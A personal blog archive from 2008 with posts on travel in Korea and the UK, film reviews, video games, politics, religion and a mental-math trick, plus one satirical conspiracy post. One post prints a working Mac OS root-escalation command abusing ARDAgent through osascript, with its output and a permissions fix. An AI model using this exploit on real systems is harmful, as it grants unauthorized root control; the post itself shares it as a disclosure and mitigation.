I was working for several weeks and when I got back my mom had had 2 more weigh-ins. We still see a lot of progress as far as losing fat and building muscle, but not much as far as actual weight loss. It's neat to see that my mom now has more lean body mass than normal people have body.

Anyhow, here's the pic.

Oceania

2008-09-01T09:30:00.000-07:00

Well, it looks like the UK is winning the race to 1984 they seem to be running with the US.

I have absolutely no respect for the liberty of anyone who thinks that the "knife amnesty" and this kind of thing are remotely acceptable. They obviously don't hold their liberty in very high regard at all, and deserve what they get.

Go Sweden!

2008-09-01T06:12:00.001-07:00

Sweden bans teaching of religion as fact in schools.

This even applies to schools affiliated with religions, and not just public schools. It is the best political news I've heard in a really long time.

As something that adults choose to follow, well, I don't care if people decide they want to live as if an invisible man flooded the world over 40 days to cleanse it of sinners. But as something that you indoctrinate your children into, well, it's far worse than physical or sexual abuse.

I would imagine that a lot of people in the US strongly disagree with me. Then again, a lot of people in the US are idiots. While the Venn diagram wouldn't have those circles overlapping completely, well, there is enough.

Cheating on my girlfriend

2008-08-31T22:31:00.000-07:00

So I figure a blog is as good a place as any to make a revelation. Tonight I was cheating on my girlfriend by staying up late and working Taylor.

I guess I'd be more of a baller if she weren't just a bunch of series'.

I hate to have holes in my understanding. Earlier I was stumped trying to figure something out until I realized that the expected value of a probability density function is just the integral of x*f(x) over the range, so that led to geometric series and then our friend Taylor. I guess it's more useful when you need to use it to figure out logarithms and shit.

Tools are a good thing. Math tools are one of the best things. I guess I'm a tool for staying up past midnight to "do math." I guess that makes me a good thing?

Atlantis II

2008-08-31T10:26:00.000-07:00

Well, it's nice that they worked so hard to rebuild New Orleans, as it's a tremendous idea to build a city below sea level.

At least this time people should take the evacuation seriously.

Hint to the world: Stop rebuilding a city that should be underwater, unless you're planning on making some sort of air-dome thing that people can exist in. A whopping 3 years after last time the whole thing will get wiped out again.

Who designs underwear?

2008-08-30T13:10:00.001-07:00

So the majority of "tighty whitey" underwear is of the form where two overlapping pieces of material seem to be present to cradle your scrotum. However, in actual use, my sack invariably "falls out" and ends up exposed to the roughness of whatever pants I happen to be wearing at the time.

I avoid this issue typically by getting those "bikini briefs" which are pretty effeminate, and therefore less desirable than "manly underwear" but at least there is no room for ball escape. They are also difficult to find at times, and when I travel I just replace underwear with new ones to avoid washing.

So, am I "doing it wrong", or were they truly designed by retards and never improved upon?

Fallout 3: Snuffing out a fantastic game

2008-08-30T10:53:00.001-07:00

So after watching some videos of the new Fallout I started to feel like an old man wishing that things were a little like they used to be.

In summary, they took a fantastic game with a fantastic engine with decent graphics, and kept all but the fantastic game and fantastic engine. They took a turn based 3/4 overhead game on a hexagonal grid and made it into an FPS.

If I didn't love the game so much it wouldn't suck so badly. I'm sure the new one will still be a good game. A lot of FPSes are solid, and they're even fun to play. But it won't/can't be Fallout. It would be like converting Tetris into an FPS where the bad guys just happen to be squared off Ls, Zs, Squares, and Is. It might be the best FPS in the world due to other factors, but it wouldn't be Tetris in anything but name.

From the first part of the game when you're realizing that using any item starts an animation akin to the scene in Akira where Tetsuo is trying to keep his innards from spilling out, to the middle where you get to kill Kenny, realizing that Ian has a tendency to shoot you, and then seeing the perfect ending walk into a sunset where the rest of "Maybe..." is played out... well, the game was a work of art.

I even played it on a mac where the save routines were so ridiculously bad that saving was more hassle than it was worth, so you'd die more often than not. I still loved it.

All things come and go, but it's sad that today's kids won't have some of the things that I got to experience. Megatron was a fucking gun. Jazz was a Porsche. Han shot first. And Fallout was the opposite of an FPS.

Doomed to be wrong

2008-08-23T10:16:00.000-07:00

I started writing this about a year ago (2007.8.10), and stopped short. I just added on the last couple paragraphs and figured I may as well post it. It's just a bunch of my thoughts mixed together, and I claim no true insight. I figure Holmes would be correct in saying that there is nothing new under the sun, and that it has all been done before.

---

I've spent most of my life trying to figure out what makes certain ideas wrong, or doomed to be shown incorrect at a later point in time. I'm going to take a walk around the block here and return to this basic idea after a couple asides. Hopefully they will frame my contention a little better than a direct statement would.

There are 365 days in a year. Except every 4 years when we stick an extra day in at the end of February. Except every 400 years when we don't add that day when we otherwise should. And then we have leap seconds thrown in for good measure.

But see, if we want to know where the earth will be located 500,000 years from now, we don't just use a calendar to compute that. If we did, we'd likely be very wrong. By about 1600 (give or take 50 years) the original calendar that Caesar put together with leap years every 4 years was wrong, and had drifted from "reality" by about 10 days. Quite a bit, actually. Another correction was introduced (do not leap every 400 years) to account for that. There are other hacks to make it generally work out correctly, but if we started with a 365 day calendar, we'd have summer in December in the northern hemisphere every 720 years or so. It's off by like a quarter of a day every year.

Days let us function a little more efficiently by being able to schedule things and work together, so the fact that it's never some true measure of any cosmological anything (

I had a talk with a good friend of mine the other day about laws, and how I think they're fundamentally flawed. Laws are meant to guide a member of society insofar as how they should operate within certain constraints to make the group as a whole more functional.

They fall apart in practice and need to be constantly amended to include unforeseen circumstances and so on, and regularly we have situations where nobody outside of the courtroom feels that justice has been done. It's easy to put the blame on the lawyers, judges, and juries involved, and I do this all the time, but some blame must lie with the laws themselves.

So how do I think they're flawed? I think that judging actions is incorrect. Actions are what we see, though, and are the easiest thing to point to when you feel that someone isn't playing well with the rest of the society. We have laws like "you shouldn't kill people," but can easily concoct situations where a killing is the optimal thing to have happen. Movies find these situations all the time, and they also happen in real life. Sure it's fairly rare to find a murder that was A-OK by the standards of society, but they indeed happen.

So even with something as extreme as murder, it's OK sometimes and not OK other times. Why on earth is it the thing that is being judged? It's not an absolute "bad," so why are there laws directed precisely at it? There are fixes for it, and different degrees of murder, some of them carrying little or no penalty, but it's a complicated set of rules around a concept that is mostly bad, but not always.

What's the answer? I guess I don't know right now, but the direction to look in (I'd think) would be for an invariant. But those invariants are difficult to come by with imperfect information. Imperfect information is something that we seem to have an abundance of, and is also something that we have a difficult time polishing enough to create perfect information.

Perhaps every phenomenon is truly a local one, and this would make every idea impossible to prove correct. This would make a lot of science largely useless outside of our extremely limited scope, but maybe we're forever doomed to only inhabit a small corner of the cosmos anyhow.

Most ideas are doomed to be incorrect in light of new information. The only solid concept that I've so far divulged from this line of reasoning is that it is far simpler to disprove something than to prove it, and that seems like it would be useful. Why? Well, it hints that the advantage is on the side of disproof and destruction rather than on the side of proof and creation. And I guess this goes all the way back to entropy. You can build a great big building with a ton of effort, and with a little work I can destroy the whole thing. This feels like it applies to concepts as well as physical objects.

I guess pretty much everything is doomed to be wrong, no matter how careful you are in devising it. You need to limit your sample space so severely that anything you offer will likely have limited or no real-world utility over the long term.

The Large Hadron Collider

2008-08-08T23:21:00.001-07:00

Between this and the internet, I'm pretty happy to be alive these days. Anyhow, here's a rap put together from some people that vaguely explains what it's about. I think it's awesome, embarrassing, and silly at the same time.

LHC Rap, Yo!

Final Korea

2008-08-04T00:47:00.001-07:00

I forgot that I was supposed to finish the Camp Grenada song. This piece is less inspired but I figured I should put it together for completeness' sake.

Enjoy! Recall that this is only the rest of the song after the original in the other post a few back.

I kept dodging
all the hookers
no massages
no good lookers
I ate expensive
K-B-B-Q
They won't serve it unless you order it for two

Take me Home...
oh Andre Genna
take Me Home
I hate Korea
don't leave me
out here in Kang Nam
where
I might
take a peanut for a pear
Take me home
I promise I will not make sounds
in Vegas class
while playing around
in back of the class
Oh please don't make
me stay
I've been here for four whole days.

I've had enough
of bulgogi
and the pizza
with calamari
let me come home
Cindy misses me
she says she don't but I'll stick to my story.

Wait a minute
it stopped raining
no umbrellas
I'm just saying
time to go out
this is better
OK both of you can disregard this letter.

-29

2008-08-03T23:56:00.000-07:00

29 more films and I'll have FCed the best pictures. A few of them seem hard to come by, but I'm sure that I can acquire them somehow. Quick reviews of some of the latest I watched:

West Side Story was a decent movie that could have been terrific if they cut about an hour out of it. It was only too long because some of the songs kinda sucked, but it had at least three quality numbers and was a neat take on Romeo and Juliet. I was annoyed a lot by the accents. Imagine watching White Men Can't Jump if half of the characters sounded like the annoying Puerto Rican girlfriend.

The Sound Of Music was excellent, and the only song I'd cut is when the old nun bursts into song. That seemed too ridiculous. Plummer and Andrews did fantastic jobs, and most of the kids did very well too. I'm wondering if there will ever be a musical that does not involve singing. I suppose it's difficult to tell a story with an instrument, but someone should take that as a challenge and make something phenomenal. It's easy to see expression in dance or song, but to get it from an instrument is something that only a few are able to do. I remember an old forum post somewhere describing Jimi Hendrix playing the Star Spangled Banner as "angels making love." Two hours of that would be a good story, methinks, but I guess we need another Jimi.

Annie Hall was just a great movie all around. It made me laugh my ass off a few times ("granny Hall would say that you're a real Jew"), and was also pretty damn sad at a couple spots. Reiner definitely took ideas and some scenes from that movie when he made When Harry Met Sally, and I like that movie a lot too.

OK, so things are picking up. I need to knock off The English Patient and I'll have comboed through 1969. For some reason I keep avoiding that one, and I don't know why.

Train Wreck

2008-08-02T05:09:00.000-07:00

So in the last couple days I knocked a couple more movies off the Best Picture list and revisited On the Waterfront (as it's been 20+ years since I've seen it).

Mutiny on the Bounty was decent, though overacted and at times made little sense to me. I suppose that part of the message was that authority is authority is authority, and to go against it is bad bad bad. Well, um, that's completely contrary to my world view so I guess I'd have been a pirate like Clark Gable.

The Greatest Show on Earth was pretty boring, and played out like a circus documentary interspersed with contrived love stories and a tacked on plot about Jimmy Stewart having killed his wife. Near the end of this train wreck of a film was an actual train wreck, and I guess that the special effects must have been good for the time. Maybe that's why it got the Oscar? A secondary female character looked a hell of a lot like Kelly Bundy, so it had that going for it.

As for On the Waterfront, Marlon Brando is a great actor. Karl Malden is hilarious as Father Barry who will kick your ass, and then compare everything and everything to something in the bible. OK, so it's not perfect, but it's still a terrific film.

I'm happy I got through these, since I'm really hoping that the movies will start to get better. I've been absolutely underwhelmed with the "best" that Hollywood has had to offer over the years. I guess I'm too sensitive to overacting and don't buy into a lot of the plots.

Safety first!

2008-07-21T03:04:00.001-07:00

I just located a "Fire Escape Device" in my room. There are pictures in my Picasa Web Album of it in addition to some other pics I took while here.

One picture is of a woman pushing around a broom attached to a sort of scooter thing like old people ride on at supermarkets in the US. She was at the COEX. Some of my other pics were from random places downtown and random alleys.

It's about time to go find some dinner. I'll try yet another new random place. It's always entertaining to eat alone, as people don't seem to do that much here. I guess I could try to make friends, but it's gay to walk up to people and try to go out to eat with them immediately.

Tomorrow I'll be getting some dinner with some people from class.

Oh, I braved the subway back to the hotel today, and it was easier to do than I thought. I still had to make sure of my location and where I was headed on several occasions, but that's OK. I made it back fine and dandy.

Take me home

2008-07-20T14:03:00.000-07:00

The following should be sung to the same tune as the old "Camp Grenada" song, heard here on youtube.

Hello Andre
Hello Genna
Here I am at
Seoul Korea
Korea's very
entertaining
And they say we'll have some fun if it stops raining

I went hiking
to the COEX
I got lost and
couldn't get back
You remember
I can't eat peanut
And I ate 3 so far and then had to vomit

All the cabbies
Speak no English
And subway signs
Are writ with gibberish
I saw some T-shirts
Out in public
And I still can't make sense out of "VIEW MY CUBIC"

---

I'm hoping to have a happy ending to this one. All in all it's been pretty solid, but the rain has been a huge damper on everything. We'll see how the week pans out and see f I can end on the same note as the original song.

Forget about my IP, look at my locality

2008-07-19T16:19:00.000-07:00

I'm sick of going to websites like YouTube, Google, and so on and getting everything spit back at me in Korean. I'm sorry that I don't stay in the same place all the time, but my browser does this great thing by telling you that I speak English as it's spoken in the US.

Stop spitting foreign (to me) languages at me when I access your service from my own computer from the other side of the world. Please.

Whoever thought that this behavior was a good one is an imbecile, and should be fired immediately.

At least Google is kind enough to leave my stuff in English when I hit up iGoogle and search from there, but YouTube ignores the fact that I'm logged in with the same account that it usually spits English at and instead gives me undecipherable pages.

I knew that hiring 10k people in a year was retarded for a company that needs far fewer to do what it does (here's looking at you, Google), and I know that a lot of super sub-par people were hired instead of more capable ones, but jesus fucking christ. Don't be so stupid about this sort of thing.

Feel free to explain to me why I'm wrong and stupid. I'm all ears.

Ben Hur and Korea

2008-07-19T09:05:00.000-07:00

So on the plane ride over here I watched Ben Hur (as part of a quest many of us undertook to watch every Best Picture). My quick review is that it's a less entertaining Gladiator with Jesus overtones. It's like the Gladiator writers saw it, removed the Jesus stuff, improved the dialogue, and upped the action. Just watch Gladiator if you need to only see one. Its message is better as well, being about redemption and living your life instead of redemption and looking to a random dude for your morals and cure to leprosy.

Now that I'm here, I see that it rains a lot. It hasn't stopped since I touched down, and it's been almost 24 hours. I took some pictures and will be updating that album. The highlights have been finding my favorite cookies again and figuring out the subway. I took a couple shots of a Lotus dealership for the antecedent of the Best Picture quest as well.

This time over here I'm staying in Kang Nam, which is better than Itaewon (place I stayed last time). It's cleaner, and the people are generally better looking (both men and women). I'm apparently close to this underground mall called COEX, but have not yet found it. Before I leave I will do my best to make it there.

If anyone needs anything from Korea, now would be a good time to issue your request.

A sad few days for America

2008-07-10T09:53:00.000-07:00

1. Telecom immunity
2. Louisiana and ID

I guess I don't strictly need to say more, but for those out there that don't know me, I'll give it a shot by rephrasing them.

1. It's OK to break the law and spy on your citizens as long as you're the government, since you can retroactively absolve the cooperating parties from any wrongdoing that you strong-armed them into complying with. The 4th amendment is just some words on a piece of paper that we don't have to abide by.

2. One of the dumbest states in the union (both the constituents and their elected officials) has once again proven itself as such by allowing Intelligent Design into the classroom. All you need to know is that Jesus loves you, and the rest is just details that can be easily ignored.

The Telecom thing just solidifies my view that we're living in Oceania.

The ID thing almost makes me laugh because it's the deep south and everyone knew that they were stupid. If you haven't ever heard of ID, it's the theory that if we can't currently explain something because it's more complicated than we can currently figure a way for it to have evolved, then it was probably done by an exponentially more complicated entity that you can't see, hear, or point to that (for whatever reason) is self-evident. A corollary is that people 2000 years ago who didn't know about the atom, electron, motions of planets, or calculus and who believed that the entire universe was created sometime after man stopped being nomadic had everything figured out and were spoken to by this entity. The extent of what he or she has done is inversely proportional to your level of education and intelligence.

I can't believe that I get to live through such an absurd time in our history.

Weight loss #1

2008-07-07T21:39:00.001-07:00

So I dumped a bunch of money on a gym membership for my mom, and got her a bunch of sessions with a personal trainer. Her weight was really bothering me, and it's purely for health reasons. I love my mom and don't want her to die.

Anyhow, I got her printout from 24 hour fitness today, and was pretty happy with the results.

The personal trainer is mainly to get her into the gym, and it seems to be working. I'll buy a bunch more sessions when these expire, too.

Dynamic gaming

2008-07-04T08:34:00.000-07:00

I was watching Cindy play some Civilization 3 last night before falling asleep (I'm tired all the time), and I went to lay down for a few minutes to think about a gaming concept that I had that's more in line with evolution. Civ and its brethren are closer to what I imagine than anything else, so let's start with that.

Diverging, let's talk about a game like Guitar Hero. Super fun, but completely static. There is constant input that you get better at handling (can't really call it "responding to" after you have the note chart memorized). Anyhow, that's the thing. It's fixed input that you get better at.

I'd like there to be a game that is more like "evolution." That you have to adapt to your environment, but you have to also try to stay as adaptable as possible. For instance, fish do well, and humans do well, but if either air or water were to disappear, we'd both be out of luck. I know that we each need both to some degree, but I think you understand what I mean.

So, what do I want? Random worlds, and no fixed anything in there. I don't want the Koreans to be good at Science and whatever else (as in Civ 3), I want everything to completely depend on the environment. Human ingenuity is a powerful thing, and I'd like to see more of it.

If something as "fixed" as Guitar Hero can get people to innovate their own tapping methods, I'd like to see what people come up with in a more open ended game - a completely open ended one.

Why do I hate the wii so much? Let me count the ways.

2008-07-03T18:06:00.001-07:00

1. Virtual Console commitments make them prevent games like Guitar Hero from having their own downloadable content.

2. The controllers are neat as a gimmick for about 3 days, and then you realize that they're worthless pieces of crap when trying to actually play anything.

3. The graphics are terrible.

4. There isn't a single exclusive title worth buying. I own every candidate, and do not enjoy them in the least. The best game so far, in my opinion, was Excite Truck. At least that wasn't fatally flawed in any way.

5. Peripherals are at the same time more expensive than those for other consoles, and have less hardware in them. I think it's because the "stupid" demographic that uses pay as you go cell phones despite paying double found themselves with a lot of Wiis, and don't realize that it's fucking retarded to pay more for a controller that just uses your existing wiimote and gives it a shell than you would for an entire controller for another console.

6. The online playing options suck, but that's mainly because the games themselves suck.

7. You basically have to buy 19 extra controllers for a premium price every time you want to play a new game. Want to play Virtual Console games? You need to get the controller for that. Oh, it's $40? At least it's wireless. Wait, it's wireless because it plugs in as a fucking dongle into the wii mote itself.

8. After having a wii for almost a couple years, I find myself wondering why I have so much crap laying around to play zero fun games. It's this tendency to acquire crap with a wii that I hate above all.

So, fuck the Wii. I wish I'd bought a PS3. I will in a little while, but the wii was a total waste.

Wiitar Hero

2008-07-03T17:55:00.001-07:00

I hereby retire from Guitar Hero on the Wii, since the controller is a worthless piece of crap. Rando-activations screw up SP paths, and it's just too annoying. From now on I'll be playing only on the PS2 with a guitar that is actually usable. The Wii LP is complete crap.

For my next system, I'll probably grab a PS3 and one of those Ant Commando guitars since I'd like to support the fact that they signed a deal with that Chris Chike kid. I hope those aren't garbage.

Sunday Morning and guns

2008-06-29T09:36:00.001-07:00

I was watching CBS News Sunday Morning today because I like that "nature" thing at the end. I was pretty disappointed that the broadcasting got screwed up and I didn't get a chance to see the 30 seconds of television that I had tuned in to see. As an aside, if anyone knows of an archive where I can find all of the old nature clips please let me know.

So I opened up their web site looking for nature clips, and found a discussion thread regarding a certain "gun law" opinion piece that they did air.

A woman was claiming that she felt too empowered while wearing a fake gun for a movie role, showed some ambulances, and was talking about how great it would be to ban guns. She ended by kind of admitting that banning them is impossible, but chose to extend the notion that charging $5k per bullet would do the job.

The comments seemed to be from gun toting NRA members who were previously screaming "dare tekkin' er jerbs" in regard to illegal immigration - functionally retarded people who exhibit precisely as much insight as the author of the opinion piece herself.

I actually made an account to post a reply to it, and was confronted with:

The Publish button will be enabled shortly. We have temporarily disabled it so everyone has an opportunity to comment.

If you're going to turn off a thread because it's 5 pages of people bashing the intellectual acumen of an author, at least be honest about it. I have no problem with that in principle, but FUCK YOU CBS for lying.

Here is what I had composed, and tried to submit to their site.

Excellent FUD campaign!

You, yourself, shouldn't have a gun. That's the single thing shown by your video and introspective glance at your own ability to be anything but emotionally driven.

A gun, like a pencil or a screwdriver, is a tool. Banning tools is an unwinnable strategy, as they will merely be replaced by others. Even if it were a really great thing that nobody anywhere had a gun, it's something that cannot be enforced in the long term. I'd suggest looking for ideas that can win out over time.

You cannot change human nature with a law, or with a tool. At best you can do it with education and honest scientific exploration. Knowledge is far more powerful than any gun. For proof I advance that guns are a mere byproduct of knowledge and ideas. Guns are really great when defending against an army wielding nothing but knives and arrows, and it's pretty much why the US exists as it does today.

To be fair, I'm just posting because I'm pissed off that the end of the show deteriorated into a replay of the Potato Chip thing and I didn't get to see the nature thing I love at the very end. That is the only thing that I watch Sunday Morning for, and it would be nice if there were an archive of those available somewhere.

No, I didn't care enough about your ignorant opinion to seek out this thread, but since I happened to be here I figured that I'd take 3 minutes and offer a little insight.

Texas Alarm Information

2008-06-23T20:48:00.000-07:00

So I'm at a hotel in Texas, and came across a sign that I can't really understand. I think the answer is that it was written by a moron to be useful to what he'd consider a moron.

Here is the evidence:

You may stop when you see the "whoop whoop" and think that it's funny that they tried to describe a sound. Look closer.

The sign-creator thinks that he is dealing with someone too stupid to know what 'strobe' means (flashing light), someone who can't figure out that a loud-ass repeating noise means 'get the fuck out,' and someone who can't figure out how to call 911 on their own.

Isn't this wonder of evolution going to have a hard time finding the open paren, close paren, and dash buttons on the phone when they see (9) 9-1-1?

Furthermore, the maker thinks that this same mensa candidate is going to be able to figure cardinal directions from inside a closed building when he puts (East) in quotes up top on the map.

This makes no sense at all. It's up there with when I saw a sign in text with no braille that said "a braille copy of this sign is available in the hotel office."

RIP Rufus

2008-06-23T08:36:00.000-07:00

George Carlin is dead.

Shit, piss, fuck, cunt, cocksucker, motherfucker, and tits.

I feel like watching Bill & Ted's Excellent Adventure and then Bogus Journey. I don't have much to say aside from hoping that his Frisbee landed safely on Joe Pesci's roof. I kept on putting off seeing him, despite him performing regularly near where I live. That's what I get.

I think people complain that he's bitter and less funny these days, but I'm pretty sure that I'd like him more than ever. I would wager that I'm bitter about the same stuff, but far less funny.

Less of a Zero

2008-06-21T09:31:00.001-07:00

At long last I finally managed to 5* Before I Forget. Since chords have been my nemesis, and that song is absurdly chord-heavy, it was one that some people I know thought I'd never get.

I screwed up a bunch early, but got through the bridge clean (which is pretty absurd for a crappy player like me).

Anyhow, with that one down I can go back and do a few in tier 6 that I never got and start working on just passing Raining Blood.

Mac OS root exploit and quick "fix"

2008-06-18T18:35:00.000-07:00

I saw this on slashdot, but figured that if anyone doesn't read that but reads this (yeah, unlikely) they might want to know about this very interesting exploit. You can use applescript to get the remote desktop agent to execute arbitrary code as root. Here's the output from my machine:

18:55:34:~ >osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root

I tried some other neat things, like creating files, but as root you can do pretty much whatever you want to a system.

My quick fix was to remove execute permissions on ARDAgent, though this probably breaks Apple Remote Desktop. I don't use it anyhow, so meh.

18:59:40:~ >cd /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS
18:59:54:MacOS >ls -l
total 2816
-rwsr-xr-x  1 root  wheel  1439952 Nov 15  2007 ARDAgent
18:59:43:MacOS >sudo chmod 644 ARDAgent
Password:
18:59:54:MacOS >ls -l
total 2816
-rw-r--r--  1 root  wheel  1439952 Nov 15  2007 ARDAgent
18:59:57:MacOS >osascript -e 'tell app "ARDAgent" to do shell script "whoami"'23:47: execution error: An error of type -10810 has occurred. (-10810)

There, one hole plugged.

The world's first recorded sounds, and some delusions

2008-06-18T16:36:00.000-07:00

I found this link in a slashdot comment, so figured that I'd get it 9 or 10 more views over here. It's pretty amazing, as the original recorders didn't realize that they could ever be played back, though they figured they were doing something.

In other news I'm listening to an audiobook of "The God Delusion." I am convinced that Richard Dawkins has been spying on me and is now presenting my arguments as his own. Though I could see someone forming the same sort of case against religion (as I did, and as it seems he copied from my mind), the specifics of his probability argument are excellent copies of my own on a few occasions. Also, his incredulity that people regularly see evidence against their ideas as evidence for them instead is the same as mine, though I suppose I don't know if he has the same wide-eyed stare as I do when confronted with it.

He mentioned the truth behind atheists not teaming up with each other to have any sort of political voice, and made a good point that it has to do with atheists generally having their own paths of reasoning to their ideas. If they (I guess, we) are to ever be discriminated against less than homosexuals and minorities, they will need to take a step back and somehow unite based on the fundamental principles that they do share.

What the Government does not want you to know

2008-05-22T19:15:00.000-07:00

The United States Navy is currently in the process of digging a hole under North Korea so that they can invade them with submarines, which nobody would expect.

They're doing it by digging and compressing dirt in the process. They are moving as much as possible into the Mariana Trench, but there would still be the issue that the water going into the under-construction tunnel and lowering sea levels noticeably.

To cover this up, they're helping out global warming by encouraging the Chinese to burn more and more oil, which helps melt the polar ice caps and gets the sea level to rise more than it would otherwise be sinking. But not enough!

The following graphs were carefully constructed from data taken from the NFDSK on climate change, conducted on February 30th 2008.

And following is an artists rendering of the tunnel, code name "Han Hole"

If I go missing, then you know that this is true.

UPDATE: The NFSDK is such an ultra-secret organization that they had their entry removed from acronym finder. Go search for it. It's gone.

A Trucker's Best Friend

2008-05-06T05:21:00.000-07:00

So I picked up an iPod Touch (henceforth referred to as an IPT) for my father, and have been spending some time trying to get it set up for him. He is willfully ignorant of computer related things, but is pretty excited about the idea of carrying around a single item that can fit in his pocket instead of 50 pounds of CDs, DVDs, books, and an actual television.

He'll also be able to use the wifi at truck stops to send and receive e-mail via an account that I set up for him. All looks good on paper, but there is o ability to read e-books on an IPT with the default software.

Luckily, it's possible to "Jailbreak" them so that you can install your own software. EBook readers exist, and you can get libraries of legal classics from Project Gutenberg.

Anyhow, the bottom line is that I jailbroke the IPT, and had it working for a little while. At some point, though, it went into a mode where it just started rebooting itself constantly and I was worried that I had bricked it. I was pretty pissed off at Apple until I figured out how to force recovery mode and was able to get back to normal.

Actually, I'm pretty pissed off at them anyhow - I buy tens of thousands of dollars worth of their software and hardware, and feel that I should be able to do what I want with it.

At any rate, a jailbroken IPT should be a pretty solid tool for any working trucker that would like something to read at night and listen to during the day. You can even stick complete seasons of TV shows on it and watch those. It's also a lot smaller than a TV.

Mental Bathroom Math

2008-04-20T10:16:00.000-07:00

Let me precede this by saying that I'm sure that billions of people have already realized this, and I'm probably late to the game by not doing so. I'm only posting this for the 12 people that never realized that you could do this.

Everybody knows the following:

(x+y)(x-y) = x^2 - y^2

Now, this fact makes a simple "trick" possible. If you have 2 numbers equidistant from a value whose square you know, you can easily multiply them together.

Say you want to multiply 24 and 26. Set 25 as X, and recall that 25^2 = 625. Since you chose 25 for X, Y is 1. The final answer is 624. That's something that you can do in your head. It works for everything, and it makes it a little easier to have instant answers for more math inquiries.

Let's stress again that this isn't just for values 2 apart. 62*78 would have an X of 70 and a Y of 8, so you'd have 4900-64=4836 as an answer, something that isn't obviously prone (to an observer) to any trick at all. Similarly, 109*113 would be 12321-4=12317.

Delays and more!

2008-03-31T23:03:00.000-07:00

This last Friday I was scheduled to fly from Spokane to Seattle as the first leg in a trip back to LA. The work week had gone pretty well, and it was finally time to relax.

I got there about 2.5 hours early so as to be sure to get through security in time. Thirty eight seconds later I was at my gate seeing if I could instead board an earlier flight.

Certainly not, as they were all full. Actually, every flight was oversold by 15 people (I think this is either some legal maximum or corporate policy) and they had chosen to cancel an earlier flight already. Perhaps that one was only filled to 99% capacity or something.

Anyhow, I was given a standby seat on a flight out of Seattle the next day since there was a slight chance that I would miss the connection - my flight was actually running an hour late. But it had not yet left Seattle. At this point I inquired as to the distance we were from Los Angeles (my intended final destination). 970 miles and 24 hours (that doesn't match up as far as I can tell, but hey that's what they said). I elected to wait out the flights.

It finally showed up around 4 hours late, and we boarded as soon as possible. Obviously we had missed a takeoff window so they made us get new "paperwork." I'm so happy that the FTA works so hard to bog airlines down in paperwork so that I can feel oh so safe. Thank you TSA as well for spending 5 minutes to rummage through my luggage every time I go through security. I did not realize that I was the only person in the world who uses USB hard drives.

Anyhow, we got on the plane, got the paperwork, and pushed back.

While all of this was happening I made plans to meet up with a buddy who lives in Seattle that I hadn't seen in a long time, so at this point I sent him a text message that said we were pushing back. Thirty five minutes or so later I sent another text to him: "False alarm, the plane broke."

Back into the airport we were directed, and I took the opportunity to relieve myself of a few Courics. My stomach was going nuts, but they quickly herded us on to another plane that wasn't being used at the time. After waiting for our luggage to get placed onto the new plane, we sat around for 10 minutes for new paperwork (and also for a flight to make an on-time departure to the same destination that we were 7+ hours late to).

We pushed back so they could begin de-icing the plane, and I sent another text to my buddy saying that we were now on a new plane and were in the process of finally leaving. Thirty five minutes later I admitted that I had cried wolf once more. There was some sort of caution light relating to the de-icing. Fantastic.

Anyhow, about an hour or so later we finally took off and completed the 48 minute flight that took 8 hours to start.

I have flown Alaska Airlines twice in my life. Once was to go to Alaska. That experience was capped by them saying that I had to check my bag "normally" instead of that door to door way they do it for the usual puddle jumps. They obviously lost my bags and I had nothing in the way of warm clothes when I got off the plane and it was 20 below. The primary reason I don't check bags is because I seem to have a 5% loss rate, and I can't afford that.

This is my second experience with them, and they boldly wasted an entire day of my life. I would now be in LA had I drove instead of waiting, and I would actually have made my original connection if I'd driven from Spokane to Seattle when I first found out about it.

And 26 hours after starting off on 4 hours worth of flights I arrived about 50 miles from my intended destination. Excellence in travel, thy name is Alaska Airlines. In all seriousness, I'm just happy the plane didn't somehow break while we were in the air. I'm typically happy as long as get to where I'm going in one piece. This was just a pretty ridiculous set of circumstances that I got to be a part of.

Planes, Planes, an Automobile, a Train, and Another Plane

2008-03-23T05:55:00.000-07:00

I originally wrote this on an airplane, so it was fresher in my mind than it is right now. Enjoy.

My girlfriend decided a bit ago to leave her job and travel for a few months before moving on with her career. Luckily, this coincided with the weakest dollar in the history of currency so we took the opportunity to go to the UK.

First off, the rumors of bad food in the UK are grossly exaggerated. 90% of our meals were terrrific, and the 2 “bad” ones weren’t inedible or anything. One highlight among many was a fish and chips shop that used some sort of nut oil for the fryer. They used olive oil just for me because I am allergic. I’m pretty sure that that would never happen here (here being the US, in case it’s not obvious by my speech patterns).

So, down to business. What did we do? Cindy was already there a week ahead of me spending some time with her friends and seeing the sights. Day one found me being rushed over to Cambridge and finding some sub par hot chocolate to warm me up from a place called, I think, Costas. I’m writing this from a plane so I don’t have an internet connection to fact-check.

Cambridge was beautiful, and that’s about all there is to say about it aside from showing some pictures. In my Picasa album you should eventually be able to find the collection of photos from this trip.

I slept on the drive back, and the 2 year old daughter of our hosts was apparently asking “what’s that?” when I was snoring. I think she was pointing trees out to me as well.

On Monday (Sunday was my arrival), Cindy and I took a trip out all by ourselves to London and saw some pretty interesting stuff. The worst thing I saw all trip was the Sherlock Holmes gift shop (if the shop was that bad the museum would not be worth entering), but I still grabbed a few trinkets for my dad who reads and quite enjoys Sherlock Holmes.

One of our next stops was Trafalger Square, and it looked pretty much the same as it did in V for Vendetta. We went over to Big Ben (and got a picture of me by it) and implicitly Parliament, and then we walked along the mall over to Buckingham Palace.

We had a romantic dinner at a place called the Wollesley (sp?) where I will say we had our first “bad” meal. Now, the food was definitely tasty, but the 7.5 pound (about $15 US) bowl of soup that they served me was basically broth and a few floaters. It lacked even the flavor of Swanson’s chicken broth. The dumplings (about 2 pounds more for them) were 3 marble sized pieces of bread, or something. Complete waste of $15, but the rest of the food was at least tasty, if not filling at all.

We took some more pictures and went over to Harrods. They sell, I shit you not, saddles. We took a couple pics in there but the main highlight was that and also the absurdly gaudy Egyptian set of escalators. It’s as if someone moved the garishness of Las Vegas into one of London’s finest department stores.

We next made our way over to the Hard Rock Cafe to buy some shirts (Cindy calls them forced souvenirs for her dad, and it’s actually better than a random doo-dad), and then found our way back home. We watched some game shows and went to bed.

The worst game show that I've ever seen is called Golden Balls. It consists of contestants lying to each other for a while, and then randomly getting money at the end as they pick the remaining balls.

If I could get a free pass through the first 10 questions or so of the UK's "Who Wants to be a Millionaire?" I'd do extremely well. The beginning is filled with easy questions that I would have no chance on (Paint your what? Apparently it's wagon). At the end they ask difficult ones like "which of the following is a US State? North Virginia, anyone?"

Their version of Family Feud (I forget the name, but it's the same game) is also impossible in its own right. A slang term for your head? How about nut (number one answer) or loaf?

